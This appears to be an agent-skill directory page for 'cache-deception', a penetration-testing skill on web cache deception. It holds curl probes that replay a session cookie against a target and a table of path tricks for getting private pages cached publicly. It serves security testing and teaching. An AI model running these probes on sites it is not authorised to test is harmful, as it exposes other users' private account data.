Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill cache-deceptiongit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/cache-deception)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/cache-deception"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/cache-deception/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/cache-deception"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/cache-deception.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00029 | $0.01071 |
| Opus 5 | $0.00015 | $0.00535 |
| Sonnet 5 | $0.00006 | $0.00214 |
| Haiku 4.5 | $0.00003 | $0.00107 |
Grade A, and why
cache-deception scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)' This is a copy
100% identical to cache-deception — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 124 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Web Cache Deception
Reverse proxies / CDNs cache based on URL extension or path patterns
(.css, .jpg, /static/). If the origin server returns the
authenticated page for any path, attacker tricks the cache into storing
private content under a public-cacheable URL.
1. The classic
GET /account.css ← attacker visits, in their own session
Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
Cache stores response keyed on /account.css
GET /account.css ← victim or any unauth visitor
Cache HIT → serves the attacker-cached, victim-data response
2. Probe the deception
# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'
# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)
# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies
If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.
3. Variants
| Variant | Path |
|---|---|
.css suffix |
/account/foo.css |
.jpg suffix |
/account.jpg |
/static/ prefix |
/static/../account |
| Multiple slashes | /account//.css |
URL-encoded ; |
/account%3B.css |
| Trailing semi-segment | /account;foo.css |
| Double extension | /account.html.css |
| Path parameter | /account.css/anything |
Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.
4. Cache poisoning vs cache deception
- Deception — attacker forces cache of victim's data, served to others
- Poisoning — attacker injects content into a normal cached resource
This skill covers deception. Cache poisoning is a separate (overlapping) class.
5. Tools
- Param Miner (Burp plugin) — unkeyed param discovery
webcache.cyberxecution.comfor quick suffix probes- Manual via Burp Repeater
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 124 lines · 29 tokens per session scan A df7fd69e3941
cache-deception is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 29 tokens to every session and 1,071 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to cache-deception, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
web-app-pentest
../../../pentest/web-app-pentest/SKILL.md.
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.12
Ensure access keys are rotated every 90 days or less.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.